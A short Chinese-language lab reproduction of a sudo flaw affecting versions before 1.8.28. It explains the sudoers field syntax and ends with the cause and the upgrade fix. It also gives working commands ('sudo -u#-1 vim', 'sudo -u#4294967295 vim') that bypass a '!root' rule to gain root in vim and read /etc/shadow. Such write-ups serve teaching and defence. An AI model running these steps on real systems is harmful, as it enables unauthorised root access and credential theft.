实验环境：
kali
影响范围：
sudo 1.8.28 之前的所有版本
复现过程
查询下sudo的版本
sudo -V
创建用户
useradd test
passwd test
编辑下sudoers文件
这里添加了
test ALL=(ALL, !root) /usr/bin/vim这里表示 test 可以 任意主机上 任何用户 但这个用户不能属于root组 执行vim命令
这里介绍下字段含义
授权用户/组 主机=[(切换到哪些用户或组)][是否需要输入密码验证] 命令1,命令2
第一个字段表示：
授权用户/组 不以%开头的，代表“将要授权的用户” 以%开头的表示“将要授权的组”
第二个字段表示：
允许登录的主机
第三个字段表示：
可以切换到的用户或者组，省略表示切换到root。 如果不省略需要用括号表示 (用户:组)
第四个字段表示：
若添加NOPASSWD表示不需要输入密码，如果省略则表示需要输入密码
第五个字段表示：
可以运行的命令
我们用test用户登录下Kali，并尝试读取shadow文件
然后我们输入
sudo -u#-1 vim或者
sudo -u#4294967295 vim进入到vim
在命令模式下尝试读取/etc/shadow文件
成功读取，同样也可以用vim执行其他的命令（以root身份）
总结OR预防：
1.之所以会产生这个漏洞，是因为将用户 ID 转换为用户名的函数会将 -1（或无效等效的 4294967295）误认为是 0，而这正好是 root 用户 User ID
2.请将 sudo 升级到 1.8.28 最新版本，该漏洞会影响 1.8.28 之前的所有版本。
